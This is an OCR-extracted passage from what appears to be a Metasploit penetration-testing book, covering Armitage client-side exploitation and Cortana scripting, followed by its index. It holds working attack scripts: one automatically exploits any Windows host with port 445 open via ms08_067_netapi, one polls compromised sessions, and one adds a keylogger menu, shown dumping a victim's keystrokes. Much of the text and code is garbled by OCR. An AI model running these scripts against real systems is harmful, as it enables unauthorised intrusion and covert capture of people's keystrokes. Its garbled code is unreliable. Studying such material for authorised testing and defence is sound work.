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Enter the port number as 30804, select Type as meterpreter, and then click
on Start Listener.

Now, send the file to the victim. As soon as the victim executes the file, we will
get access to the system. The file looks similar to the following screenshot:

new_file

An important point to note here is that while creating a listener,
+  there will be no notification that the listener has started.
However, it will automatically handle all the incoming requests
and will change the system's icon as soon as it marks successful
execution of the payload at the victim's end.
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We can now perform all the post-exploitation features at the target host by following
exactly the same steps as we did in the previous section. Let's see what files are
available at the target host by selecting the Meterpreter submenu and choosing
Browse Files from the Explore submenu, as shown in the following screenshot:

Workspaces X | Processes 2 X]

FID | Mame | Arch | Session | User Path

0 [System Process] 42948967285

4 System 4294967295

260 SIMSS, exe 42949672895

364 CSrss.exe 42949672895

416 wininit. exe 4294867285

428 CSrSS. exe 4294967295

478 winlogon. exe 4294967295

500 services.exe 42949672895

sl6 |sass. exe 4294967295

324 Ism.exe 4294967295

652 svchost.exe 4294967285

708 TPAutoConnect,exe x86 1 WIN-DIR41HT3ROSVApex C:\Program Files\WMware\WMw...

724 svchost.exe 4294967295

738 new file2, exs xB6 1 WIN-DIR41HT3RO0SVApex C\Users\Apex\Desktopinew fil..,

796 conhost.exe HB6 1 WIN-DJR41HT3ROSVApex C:\Windows\system32\conhos...
| Kill'| | Migrate | | Log Keystrokes | | Steal Teken | | Refresh |

Also, let's see which processes are running at the target host by selecting the
Meterpreter submenu and choosing Show Processes from the Explore submenu.
The following screenshot shows the processes running on the target host:

[Workspaces XT Processes 2 X T Files 2 X]

5 | chUsers\ipexiDesktop

D 4 Mame | Size | Modified | Mode
l.wbs 382b 2013-12-23 00:42:32 +0530 100666/ rw-rw-rw-
7Loader Release 5.exe 10mb 2010-01-28 22:52:12 +0530 100777/ rwKrwxrwx
Adobe Reader Lite 9.0.exe 16mb 2009-01-05 05:29:36 +0530 1007 77 /rwsrwxrwvx

Firefox Setup 3.5.9.exe 7mb

LatestGuidelines, pdf

2013-12-30 19:§5:53 +0530
2013-12-23 01:14:48 +0530

100777 [ rawsnwsrvs
100666/ /rw-rw-rw-

MiniShare.Ink 981b 2013-08-31 16:40:12 +0530 100666/rw-rw-rw-
New_guidlines. pdf 45kb 2013-12-23 15:57:15 +0530 100666/rW-rw-riv-
desktop.ini 282b 2013-08-31 15:57:03 +0530 100666/rw-rw-r-
form. pdf 72kb 2013-12-23 17:17:48 +0530 100666/rw-rw-rw-
minishare-1.4.1.exe 100kb 2010-01-05 16:13:10 +0530 1007 7 7/rwsrwsra
new_file. exe 72kb 2014-01-04 01:41:06 +0530 1007 77/ MWK WKWK
new_file2.exe 72kb 2014-01-04 01:43:47 +0530 1007 7 7/rWKr WKWK
pftplabp.exe 4mb 2013-08-31 16:27:48 +0530 1007 77/rwxrwxring

| Uplead... | | Make Directory | | List Drives | | Refresh |
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This concludes our discussion on client-side exploitation. Let's now get our hands
dirty and start scripting Armitage with Cortana scripts.

Scripting Armitage

Cortana is the scripting language that is used to create attack vectors in Armitage.
Penetration testers use Cortana for red teaming and virtually cloning attack vectors
so that they act like bots. However, a red team is an independent group that
challenges an organization to improve its effectiveness and security.

Cortana uses Metasploit's remote procedure client by making use of a scripting
language. It provides flexibility in controlling Metasploit operations and managing
the database automatically.

In addition, Cortana scripts automate the responses of the penetration tester when a
particular event occurs. Suppose we are performing a penetration test on a network
of 100 systems where 29 systems run on Windows XP and others run on the Linux
operating system, and we need a mechanism that will automatically exploit every
Windows XP system with the ms08_067_netapi exploit as soon as they appear on
the network with their port 445 open.

We can easily develop a simple script that will automate this entire task and save us
a great deal of time. A script to automate this task will exploit each system as soon as
they appear on the network with the ms08_067_netapi exploit, and it will perform
predesignated post-exploitation functions over them too.

The fundamentals of Cortana

Scripting a basic attack with Cortana will help us understand Cortana with a much
wider approach. So, let's see an example script that automates the exploitation on
port 445 for a Windows operating system:

on service add 445 {
println("Hacking a Host running $1 (" . host os($1) . ")");
if (host_os($1) eqg "Microsoft Windows")
exploit ("windows/smb/ms08 067 netapi", $1);

}

The preceding script will find a match of the victim's OS to Microsoft Windows if it
finds a host with port 445 open. However, when a successful match is made, Cortana
will automatically attack the host with the ms08_067_netapi exploit on port 445.
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In the preceding script, $1 specifies the IP address of the host, print_1n prints out
strings and variables, host_os is a function in Cortana that returns the operating
system of the host, the exploit function launches an exploit module at the address
specified by the $1 parameter, and service_add_445 is an event that is to be
triggered when port 445 is found open on a particular client.

Let's save the preceding script and load this script into Armitage by navigating to the
Armitage tab and clicking on Scripts:

[ Console X T Workspaces X I Scripts X}

name | flags

| Load | | Unload | | Console || Scripts

In order to run the script against a target, perform the following steps:

1. Click on Load to load a Cortana script into Armitage as follows:

Open
Look In: | (& cortana o (@] (&) (&) (E) B
auto.cna
File Name: auto.cna
Files of Type: |All Files v
| Qpen || Cancel |
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2. Select the script and click on Open. The action will load the script into
Armitage forever as follows:

askoff
askon
help
load
logoff
logon
1s
proff
profile
]
reload
troff
tron
unload

cortana> logon auto.cna
[+] Logging 'auto.cna'
cortana> |

3. Next, move onto the Cortana console and type the help command to list the
various options that Cortana can make use of while dealing with scripts.

4. Next, to see the various operations that are performed when a Cortana script
runs, we will use the 1ogon command followed by the name of the script.
The 1ogon command will provide logging features to a script and will log
every operation performed by the script.

5. Let's now perform an intense scan over the network and see what
information we get as shown in the following screenshot:

NSE: Loaded 106 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 02:09
Scanning 172.16.62 ] rt]

Completed ARP Ping Scan at 09, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:09
Scanning 172.16.62.128 [1000 ports]
Discovered open port 443/tcp on 172.16.62
Discovered open port 135/tcp on 172.16

i open port 139/tcp on 172.1
Discovered open port
Discovered open port 3306/tcp on 172.
Discovered open port 445/tcp on 172.1
Discovered open port 80/tcp on 172,16

i n port 7/tcp on 172.16.62.128

tealth Scan at 02:00, 1.34s elapsed (1000 total ports)

Initiating Service scan at 02:09
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6. Aswe can clearly see, we found a host with port 445 open. Let's move back
onto our Cortana console and see whether or not some activity has occurred
as shown in the following screenshot:

[ auwdary
* (@ exploin
= (@ payioad
» (i post

- DEBREGFB4

| Seripts ¥ | Cortana X | nmap X |

oit module eta . ] <3, LPOHT == 11663, RHOST == °172.16.62 » PAYLOAD
preterfhind tep', £ A
d. 1 gat 1 fi. J i in netapi

7. Bang! Cortana has already taken over the host by launching the exploit
automatically on the target host.

As we can clearly see, Cortana made penetration testing very easy for us by performing
the operations automatically. In the next few sections, we will see how we can automate
post-exploitation and handle further operations of Metasploit with Cortana.

Controlling Metasploit

Cortana controls Metasploit functions very well. We can send any command for
Metasploit using Cortana. Let's see an example script to help us to understand more
about controlling Metasploit functions from Cortana:

cmd_async ("db_status") ;

cmd_async ("hosts") ;

on console db_status {

println(" $3 ");

}

on console hosts {

println("Hosts in The Database");
println(" $3 ");

}
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In the preceding script, the cmd_async command sends the command to Metasploit
and ensures that it is executed. In addition, the console * functions are used

to print the output of that command. As we can see, we used two commands in

the preceding script: the db_status and hosts commands by using cmd_async.
Metasploit will execute these commands; however, for printing the output, we need
to define the console_=* function. In addition, $3 is the variable that holds the output
of the commands.

Let's see what happens when we load this script into Armitage:

froot/cortanafready.cna

| Load || Unload | | Console | | Scripts |

As soon as we load the ready . cna script, let's open the Cortana console to view
the output:

cortana=
[*] postgresql connected to msf3

Hosts in The Database

name 0s_name os_flavor os_sp purpose info comments

172.16.62.129 00:0C:29:14:10:F6 Microsoft Windows XP server

Clearly, the output of the commands shows up on the screen, which concludes our
current discussion. However, more information on Cortana scripts and controlling
Metasploit through Armitage can be viewed at http://www. fastandeasyhacking.
com/download/cortana/cortana_tutorial.pdf.
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Post-exploitation with Cortana

Post-exploitation with Cortana is also simple. Cortana's built-in functions can make
post-exploitation easy to tackle. Let's understand this with the help of the following
example script:

on heartbeat 15s {

local('$sid');

foreach $sid (session ids()) {

if (-iswinmeterpreter $sid && -isready $sid) ({
m_cmd ($sid, "getuid");

on meterpreter getuid {

println(" $3 ");

}
}
}
}

In the preceding script, we used a function named heartbeat_15s. This function
repeats its execution every 15 seconds. Hence, it is called a heart beat function. The
local function will denote that $sid is local to the current function and its value
will disappear when the function returns. The next statement is a loop that toggles
within every open session: the if statement will check to see if the session type is a
Windows meterpreter type and whether it is ready to interact. The m_cmd function
sends the command to the meterpreter session with parameters such as $sid that is
session ID and the command. Next, we define a function with meterpreter * where
* denotes the command sent to the meterpreter session. This function will print the
output of the sent command, as we did in the previous exercise for console hosts.

Let's run this script along with the very first script that we used to automate the
ms08_067_netapi exploit:

jrootfcortana/heart.cna
[frootfcortanafauto.cna

As soon as we load the script and perform an Nmap Scan on the target, if Nmap
finds the port 445 open on the target host, our first script auto. cna will exploit it.
Now, as soon as the Armitage gets a meterpreter shell on the target, our second
script heart . cna executes. This script will display the UID of the target after every
15 seconds, as shown in the following screenshot:
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Exploiting 172.16.62.129 (Microsoft Windows)
Server username AUTHORITY\SYSTEM

Server username AUTHORITY\SYSTEM
Server username AUTHORITY\SYSTEM
Server username AUTHORITY\SYSTEM

Server username AUTHORITY\SYSTEM

Server username AUTHORITY\SYSTEM

For further information about post-exploitation, scripts, and
%@“ functions, refer to http://www. fastandeasyhacking.
’ com/download/cortana/cortana tutorial.pdf.

Building a custom menu in Cortana

Cortana also delivers exceptional output when it comes to building custom pop-up
menus that attach to a host after getting the meterpreter session and others as well.
Let's build a Custom Key logger with Cortana and understand its working with a
Cortana script:

popup meterpreter bottom {
menu "&My Key Logger" {

item "&Start Key Logger" {

m _cmd($1, "keyscan start");

}

item "&Stop Key Logger" {

m _cmd ($1, "keyscan stop");

}

item "&Show Keylogs" ({

m _cmd ($1, "keyscan dump") ;

}

on meterpreter keyscan start {
println(" $3 ");

}

on meterpreter keyscan stop {
println(" $3 ");

}

on meterpreter keyscan dump {
println(" $3 ");

}

}

}
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The preceding example shows the creation of a pop up in the Meterpreter submenu.
However, this pop up will only be available if we are able to exploit the target host
and get a meterpreter shell successfully.

The popup keyword will denote the creation of a pop up. The meterpreter_bottom
function will denote that whenever a user right-clicks on an exploited host and
chooses the Meterpreter option, Armitage will display this menu at the bottom.
The item keyword specifies various items in the menu. The m_cmd command is the
command that will actually send the meterpreter commands to Metasploit with their
respective session IDs.

Therefore, in the preceding script, we have three items: Start Key Logger, Stop Key
Logger, and Show Keylogs. They are used to start key logging, stop key logging,
and display the data that is present in the logs, respectively. We have also declared
three functions that will handle the output of the commands sent to the meterpreter.
Let's now load this script into Cortana, exploit the host, and right-click on the
compromised host which will present us with the following menu:

Meterpreter 1

Access »

Services Interact >

Sean Explore >

Host » | Pivoting B
L2

Start Key Logger
Stop Key Logger

sterpreter 1 X | Kill how Keylogs

We can see that whenever we right-click on an exploited host and browse to the
Meterpreter menu, we will see a new menu named My Key Logger listed at the
bottom of all the menus. This menu will contain all the items that we declared in the
script. Whenever we select an option from this menu, the corresponding command
runs and displays its output on the Cortana console as follows:
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[02:12:35] meterpreter 1

Starting the keystroke sniffer...

Starting the keystroke
Starting the keystroke

Starting the keystroke

Starting the keystroke

Starting the keystroke

[02:13:06] meterpreter 1

Dumping captured keystrokes...

Dumping captured keystrokes...

Dumping captured keystrokes...

sniffer...

sniffer...

sniffer...

sniffer...

sniffer...

‘keyscan_start' at keyscan.cna:4

‘keyscan_dump' at keyscan.cna:10

Whenever we select the first option, that is, Start Key Logger, we will be able to see
the output in the Cortana console. Let's now wait for a short time to check whether

the person working on the exploited host has typed in anything. After a short delay
of a few seconds, let's now click on the third option, Show Keylogs, from the menu
and analyze the output as follows:

—
Dumping
Dumping
<LWin=
<LWin=
<LWin>
<LWin>
<LWin>
<LWin=>

<L Win>

<L Win>

captured

captured

<Back>

<Back>

<Back>

<Back>

<Back>

- <Back>

<Back>

<Back>

keystrokes...

keystrokes...

cmd

cmd

cmd

cmd

cmd

cmd

cmd

cmd

<Return=

<Return=

<Return=

<Return>

<Return=

<Return=

<Return=

<Return=

cnfi

cnfi

cnfi

cnfi

cnfi

cnfi

cnfi

cnfi

<Return=

<Return=

<Return=

<Return>

<Return=

<Return=

<Return=

<Return=

After we click on the Show Keylogs option, we will see the characters typed by the
person working on the compromised host in the Cortana console. This concludes our
discussion on building menus using Cortana.
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Working with interfaces

Cortana also provides a flexible approach while working with interfaces. Cortana
provides options and functions to create shortcuts, tables, switching tabs, and so on.
Suppose, we may want to add a custom functionality such as whenever we press F1
from the keyboard, Cortana should display the UID of the target host. Let's see an
example of a script that will enable us to achieve this feature:

bind F1 {
local('ssid');
$sid ="1";

spawn (&gu, \$sid) ;

}

sub guf

m_cmd ($sid, "getuid") ;
on meterpreter getuid ({
show message( " $3 ");
}

}

The preceding script will add a shortcut key F1 that will display the uID of the
target system when pressed. The bind keyword in the script denotes binding of
functionality with the F1 key. Next, we define the scope of the $sid variable and
assign a value of 1 to it (this is the value of the session ID with which we'll interact).

The spawn keyword will create a new instance of Cortana, execute the gu function,
and pass the value of $sid as a global variable to the function as well. The gu function
will send the getuid command to the meterpreter. The meterpreter getuid
command will handle the output of the getuid command.

The show_message command will pop up a message displaying the output from the
getuid command. Let's now load the script into Armitage and see if it works correctly:

-

Console X | Scripts X}

name flags

frootfcortanafauto.cna
froot/cortana/shortcut.cna

| Load || Unload | | Console | | Scripts |
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Next, let's perform an intense scan over the target host and exploit it with the
auto.cna script. Let's now press the F1 key from the keyboard to check and see if
our current script executes well:

Fri Jan 10, 10:06 PM

* | paylead
"l post

NI AUTHORITY?,

Message

@ Server username: NT AUTHORITWSYSTEM

oK |

Conscle X |

pts % [ nmap X [ Cortana X |

" at sherteut.cna:d

cortan.

- Armitage

Bang! We got the UID of the target system easily which is NT AUTHORITY\
SYSTEM. This concludes our discussion on Cortana scripting using Armitage.

For further information about Cortana scripting and its various
% functions, refer to http://www. fastandeasyhacking.com/
download/cortana/cortana_tutorial.pdf.
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Summary

In this chapter, we had a good look at Armitage and its various features. We kicked
off by looking at the interface and building up workspaces. We also saw how we
could exploit a host with Armitage. We looked at remote as well as client-side
exploitation and post-exploitation. Further more, we jumped into Cortana and
learned about its fundamentals, using it to control Metasploit. We created post-
exploitation scripts, custom menus, and interfaces as well.

Further reading

In this book, we have covered Metasploit and various other related subjects in a
practical way. We covered exploit development, module development, porting
exploits, client-side attacks, SET, Armitage, speeding up penetration testing, and
testing services. We also had a look at the assembly language, Ruby programming,
and Cortana scripting.

Once you have read this book, you may find the following resources useful in
providing further details on these topics:

* For learning Ruby programming, refer to http://ruby-doc.com/docs/
ProgrammingRuby/

* For assembly programming, refer to https://courses.engr.illinois.
edu/ece390/books/artofasm/artofasm.html

* For exploit development, refer to http://www.corelan.be

* For Metasploit development, refer to http://dev.metasploit.com/
redmine/projects/framework/wiki/DeveloperGuide

* For SCADA-based exploitation, refer to http://www.scadahacker.com

* For in-depth attack documentation on Metasploit, refer to http: //www.
offensive-security.com/metasploit-unleashed/Main Page

¢  For more information on Cortana scripting, refer to http://www.
fastandeasyhacking.com/download/cortana/cortana tutorial.pdf

* For Cortana script resources, refer to https://github.com/rsmudge/
cortana-scripts
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test grounds, presensing 15
GDB
about 92,110
functions, performing 110-114
Google dorks 13
Greenbone interfaces, OpenVAS 194
GS register 94
GUI interface 22

H

heart beat function 338
hosted services, VOIP 177
Human Machine Interface (HMI) 158

fake update, with DNS-spoofing attack 308

Fast Track MS SQL attack vectors 296
Fast Track
about 296, 297, 303
depreciation 302
MS SQL brute force attack,
performing 298-302
SET, creating 303
features, Metasploit
cleaner exits 47
ease of use 47
GUI environment 48
open source 47
payloads, generating 47
file format-based exploitation
about 235
media-based exploits 241
PDF-based exploits 236
Word-based exploits 238
flags 93
FootPrinting 13
format string bugs 92
FS register 94

ICS systems 158
iDevices
testing 185
Immunity Debugger
about 92, 107
process, attaching 108-110
using 136
Infectious Media Generator attack vector
about 267,271
advantage 271
using 272-274
intelligence gathering, white box penetra-
tion test
about 192
Greenbone interfaces, OpenVAS 194-202
OpenVAS, setting up 193, 194
OpenVAS vulnerability scanner
fundamentals 192
Intelligent electronic device (IED) 158
interactive shell, Ruby
working with 50, 51
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interface panel, Armitage 320, 321
internal FootPrinting
about 30
conducting 31
Internet Information Services (IIS) pawnage
tools 15
Internet Service Provider (ISP) 176
iOS
exploiting, with Metasploit 185-188

J

Java applet attack
about 275
executing 275-279

Jump JMP) 91

L

Last In First Out (LIFO) method 92
lec-win32 compiler 102
Linux

attacking, with malicious packages 261-264
Local Area Network (LAN) 191
loops, Ruby 58

MagicTree
about 209
report, creating 209-211
manual reports, penetration test
format 212
generating 211
Mass Mailer Attack 267
media-based exploits
about 241
Media Player Classic video player,
exploiting 241-243
Metasploit
about 9
configuring, on Ubuntu 24, 25
configuring, on Windows XP/7 23
custom modules, developing 60
exploit formulation 91
features 46

fundamentals 21
meterpreter scripting 76
RailGun 84
Ruby 50
Metasploit community 22
Metasploit framework
about 22
architecture 60, 61
client-based exploitation 231
Metasploit pro 22
meterpreter scripting
about 76
API calls 82
custom meterpreter scripts,
fabricating 82-84
essentials 76
mixins 82
persistent access, setting up 81, 82
target network, pivoting 76-80
methodology / network admin level report
about 214
likelihood 214
list of vulnerabilities 214
recommendations 214
test details 214
methods, Ruby 56
MS03-020 Internet Explorer Object Type
exploit 235
MSF scan 323
MS SQL brute force attack
performing 298

N

networks and host management, Armitage
match, finding 325
MSF scan 323
Nmap scan 323
scanning 323, 324
vulnerabilities, modeling out 324
Network vulnerability tests (NVTs) 193
Nmap scan 323
No operation (NOP) 91
No tech Hacking 191
numbers and conversions, Ruby 54
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OllyDbg 92

OpenVAS
fundamentals 192
Greenbone interfaces 194
setting up 193, 194

OWASP Report Generator
URL 211

P

PBX 175
PDF-based exploits
about 236
vulnerability, exploiting 236, 237
penetration test, conducting with Metasploit
Metasploit basics, recalling 28
penetration test environment, mounting
error states, dealing with 27
Metasploit, configuring on Ubuntu 24-26
Metasploit, configuring on
Windows XP/7 23
Metasploit features 21
penetration test lab, setting up 18-21
penetration testing
about 9
conducting, Metasploit used 28
environment, mounting 18
environment, setting up 12
reports, generating 46
reports, storing 43
results, fetching 43
Penetration testing Execution Standard
(PTES)
URL 11
penetration testing, of Windows 7
exploitation 42
gathering intelligence phase 40
performing 40
post exploitation 43
threats, modelling 41
vulnerability analysis 41
penetration testing, of Windows Server 2003
performing 39
penetration testing, of Windows XP
access, maintaining 37
assumptions 30

attack procedure, with respect to NETAPI
vulnerability 33
concept of attack 33
exploitation 34
gathering intelligence 30
information gathering 31, 32
post exploitation 36
threats, modeling 32
tracks, clearing 38
vulnerability analysis 33
vulnerability, exploiting 34
penetration testing report format
about 212
cover page 213
document control 213
document properties 213
executive summary 213
glossary, additional sections 215
list of illustrations 213
list of report content 213
methodology / network admin level
report 214
page design 213
references, additional sections 215
table of content 213
penetration test lab
setting up 18
Perl-based exploit
launching 141
Perl-based exploit, porting
essentials, gathering 135
existing exploit, dismantling 133
logic 134
performing 132
ShellCode, precluding 140
skeleton, generating 135
skeleton, generating using Immunity
Debugger 136-139
values, stuffing 139, 140
persistent access, meterpreter scripting
setting up 81
PHP meterpreter 243
PHP Stream Scan Directory buffer
overflow 203
PMSoftware Simple Web Server 2.2 41
post-exploitation modules
writing 73-75
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post exploitation phase, penetration
testing 17
preinteractions, penetration testing
about 12
goals 12
rules of engagement 12
scoping 12
terms and definitions 12
Private branch exchange. See PBX
Process Identifies (PID) 205

Programmable Logic Controller (PLC) 158

Public Switched Telephone Network
(PSTN) 176

Python-based exploit
launching 145

Python-based exploit, porting
essentials, gathering 142
existing exploit, dismantling 141, 142
performing 141
skeleton, generating 143
values, stuffing 143-145

R

RailGun
irb shell 84, 85
Ruby-interactive shell 84
scripting 85, 86

sophisticated scripts, fabricating 87-89

Window API calls, manipulating 86

working with 84
ranges, Ruby 55
RATTE module

about 286

using 289, 290
registers

about 92-94

EAX 94

EBP 94

EBX 94

ECX 94

EDX 94

EFLAGS 94

EIP 94

ESI/EDI 94

ESP 94

General Purpose 94

Index registers 94
Segment 94

regular expressions, Ruby 58, 59
Remote Administration tool (RAT)

servers 267

Remote Administration Tool Tommy

Edition. See RATTE module

Remote Procedure Call (RPC) 34
Remote Terminal Unit (RTU) 158
report, penetration testing

creating 17

reports

generating 46

resource scripts 274
results, penetration testing

fetching, database used 43
storing, database used 43

Ruby

about 50

basics 60

decision-making operators 56
download link for Windows/Linux 50
interactive shell, working on 50, 51
loops 58

methods 56

methods, defining in shell 51, 52
numbers and conversions 54
program, creating 50

regular expressions 58

variable 52

variables' data types 52

S

SCADA

about 158

components 158

criticality 159

database exploitation 164
exploiting 159

fundamentals 158
fundamentals of testing 159, 160
securing 163

security, breaching 159

URL 162

SCADA-based exploits 160-162
SCADA exploitation
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passwords, brute forcing 167, 169 ShellCode 34, 92

performing 164 Short Messaging Service (SMS) servers 267
scanning process, with Metasploit show_message command 342
modules 167 SIP endpoint scanner 178
server passwords, locating/capturing 170 SIP service providers, VOIP 178
SQL-based queries, running 174 SMS Spoofing attack vector 267
SQL server 164 social engineering 191, 265
SQL server, browsing 170-172 Social Engineering Toolkit. See SET
SQL server, FootPrinting with sophisticated scripts, RailGun
Nmap 164-166 fabricating 87-89
system commands, executing 172 Spear-Phishing attack vectors 266
system commands, post-exploiting 172 split function, Ruby 53
xp_cmdshell functionality, reloading 173 squeeze function, Ruby 53
SCADApro system 161 SS register 94
SCADA security stack 92
about 163 stealth scan 40
implementing 163 strings, Ruby
networks, restricting 163 working with 52, 53
Secure Socket Layer (SSL) certificate 25 Structured Exception Handling. See SEH
segment registers Stuxnet bot 159
CS 94 Supervisory Control and Data
DS 94 Acquisition. See SCADA
ES 94 SYN scan 223
FS 94 system bus 93
GS 94 system calls 92
SS 94
SEH T
about 124
bypassing 127 tabnabbing attack
controlling 124, 126 about 279
fundamentals 124 used, for harvesting credentials 280-283
SEH-based exploits target network, meterpreter scripting
about 128 pivoting 76-80
structure 129 third-party attack vector 267-289
self-hosted network, VOIP services 176 threat modeling, penetration testing
Server Message Block (SMB) 34 about 16
Session Initiation Protocol (SIP) 177 example 16
SET troubleshooting, WebSploit
about 266 file copy issue, fixing 312
attack techniques 268 path issues, fixing 311
attack types 266 payload generation, fixing 311
attack vectors 266 performing 311
features 291
fundamentals 266 U
web interface 291 .
SET attacks Ultimate Packer for Executables (UPX) 277

automating 292, 293
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variables data types, Ruby
arrays 55
ranges 55
variables' data types, Ruby
about 52
split function 53
squeeze function 53
strings, working with 52
variables, Ruby 52
VirtualBox 19
downloading 19
VMware player 19
Voice Over Internet Protocol (VOIP)
about 175
exploiting 183, 184
fundamentals 175
PBX 175
vulnerability 184
VOIP call
spoofing 181, 182
VOIP services
FootPrinting 178, 179
hosted services 177
scanning 180
self-hosted network 176
SIP service providers 178
types 176
vsprintf() function 42
vulnerability analysis, penetration
testing 17
vulnerability, VOIP exploitation 184

w

web-based exploits, porting
auxiliary-based exploit, fabricating 149
auxiliary-based exploit, working 150-153
essentials, gathering 147
existing exploit, dismantling 146
GET/POST method essentials 149
launching 154
performing 146
web functions, grasping 147-149

web interface, SET 291

web jacking attack
about 283
performing 283-285
Website attack vectors
about 267, 275
Java applet attack, executing 275-279
tabnabbing attack 279
web jacking attack, performing 283-285
website clients exploitation
malicious web scripts, injecting 245
performing 245
users, hacking 246, 247
WebSploit
about 309
commands 310, 311
troubleshooting 311
used, for attacking LAN 312-314
white box penetration test
access, gaining 204, 205
intelligence gathering 192
interaction, with employees 191
interaction, with end users 191
MagicTree 209
performing 189, 190
reporting services 211
suspected vulnerability prone systems,
targeting 202, 203
threat areas, modeling 202
tracks, covering 205-208
white box testing 189
WHOIS
about 215
query, performing 216
Window API calls, RailGun
manipulating 86
Wireless Access Point Attack Vector 267
Word-based exploits
about 238
vulnerability, exploiting 239, 240

X

x86 92

XAMPP servers
compromising 243
PHP meterpreter 243, 244
system-level privileges, escalating 244
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